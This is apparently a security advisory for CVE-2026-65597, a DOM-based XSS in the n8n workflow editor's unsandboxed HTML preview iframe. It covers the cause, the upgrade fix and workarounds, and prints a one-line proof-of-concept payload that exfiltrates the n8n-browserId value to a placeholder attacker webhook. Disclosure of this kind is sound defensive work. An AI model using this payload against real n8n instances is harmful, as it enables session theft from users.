highJul 22, 2026

CVE-2026-65597: n8n DOM-Based XSS via Unsandboxed iframe srcdoc in HTML Preview

Rohit Hatagale
AI Security Researcher, SecureLayer7

A missing sandbox attribute on the HTML preview iframe in n8n lets an attacker inject a script that runs with full editor-origin privileges and can silently call authenticated APIs using the victim's…

Packagen8n
Ecosystemnpm
Affected< 1.123.64

The problem

The n8n editor renders execution output into an HTML preview using an <iframe srcdoc> element without the sandbox attribute. Because the iframe inherits the same origin as the editor, any JavaScript inside it has unrestricted access to the DOM, cookies, and localStorage.

A user with the low-privilege global:member role can craft a workflow node whose HTML output embeds a sanitizer-bypass payload. When a victim opens the preview tab, the script executes in their session and can call any authenticated n8n API on their behalf.

Proof of concept

A working proof-of-concept for this issue in n8n, with the exact payload below.

html
<iframe srcdoc="<script>fetch('https://ATTACKER.app.n8n.cloud/webhook/exfil?id='+localStorage.getItem('n8n-browserId'))</script>"></iframe>

The HTML sanitizer failed to strip or neutralize <iframe srcdoc> when the inner content contained a <script> tag, because the sanitizer evaluated the outer tag and the inner HTML in separate passes. The srcdoc attribute value was treated as an opaque string at sanitization time, so the embedded <script> survived and was parsed by the browser as live HTML.

Because the iframe had no sandbox attribute, the browser granted it the full origin of the n8n editor. The script could therefore read localStorage (which holds the browser session identifier n8n-browserId) and exfiltrate it to an attacker-controlled webhook with a simple fetch() call.

The root cause is CWE-79: unsanitized user-controlled input flowing into an unsafe DOM sink (srcdoc) without origin isolation.

The fix

Upgrade to n8n 1.123.64 (v1 line) or 2.29.8 / 2.30.1 (v2 line). The fix adds the sandbox attribute to the HTML preview iframe, isolating it from the editor origin, and tightens the sanitizer to strip or encode <iframe srcdoc> payloads that contain executable content.

If an immediate upgrade is not possible, disable the HTML preview feature or restrict workflow creation to trusted users only.

Reporter not attributed.

References: [1][2][3][4]

Related research